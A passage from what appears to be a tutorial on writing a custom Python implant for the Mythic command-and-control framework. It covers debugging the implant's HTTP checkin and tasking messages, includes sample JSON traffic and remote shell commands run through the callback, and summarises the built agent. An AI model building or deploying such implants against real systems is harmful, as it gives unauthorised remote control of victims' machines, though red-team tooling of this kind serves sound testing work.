Within one sleep interval a callback will appear in the Callbacks tab. Click the terminal icon and run:

shell whoami
shell id
shell uname -a

12. Debugging Tips

Add this version of send_message() during development to print both the outgoing and incoming messages in decoded JSON form — this makes it easy to see exactly how messages are structured on the wire:

def send_message(uuid_str: str, payload: dict) -> dict:
    encoded  = encode_message(uuid_str, payload)
    raw_resp = http_post(POST_URI, encoded)
    result   = decode_message(raw_resp)

    # Pretty-print both sides so you can follow the message structure
    print(f"[DEBUG] SENT ({uuid_str[:8]}...):")
    print(json.dumps(payload, indent=2))
    print(f"[DEBUG] RECEIVED:")
    print(json.dumps(result, indent=2))
    print()

    return result

Example output for a checkin:

[DEBUG] SENT (4a1ad945...):
{
  "action": "checkin",
  "ip": "192.168.1.50",
  "os": "Linux-6.1.0-kali",
  "user": "kali",
  "host": "kali",
  "pid": 12345,
  "uuid": "4a1ad945-0e63-4d21-a899-20e97b81c9cb",
  "architecture": "x64",
  "domain": "",
  "integrity_level": 2,
  "external_ip": "",
  "encryption_key": "",
  "decryption_key": ""
}
[DEBUG] RECEIVED:
{
  "action": "checkin",
  "id": "b2f3c1d4-...",
  "status": "success"
}

Example output for a shell whoami task:

[DEBUG] SENT (b2f3c1d4...):
{
  "action": "get_tasking",
  "tasking_size": 1
}
[DEBUG] RECEIVED:
{
  "action": "get_tasking",
  "tasks": [
    {
      "command": "shell",
      "parameters": "{\"command\": \"whoami\"}",
      "id": "c3d4e5f6-...",
      "timestamp": 1700000000.0
    }
  ]
}

This makes it immediately visible that parameters is a JSON string (note the escaped quotes), confirming why dispatch_task calls json.loads() on it.

13. What We Built

• A Dockerised payload type container (pyrite) registered in Mythic
• A builder.py that reads the base agent template and stitches in command implementation files at build time, with proper build step reporting
• Server-side command definitions (agent_functions/shell.py, agent_functions/exit.py) that handle Mythic UI, argument parsing, and preprocessing
• Implant-side command implementations (agent_code/shell.py, agent_code/exit.py) that contain the actual execution logic running on the target
• A Python implant that performs checkin → get_tasking → post_response over HTTP in plaintext, with an exit command that can be triggered from the Mythic UI

In Part 2 we'll switch to the httpx profile, enable AES-256 PSK encryption, and add kill date support.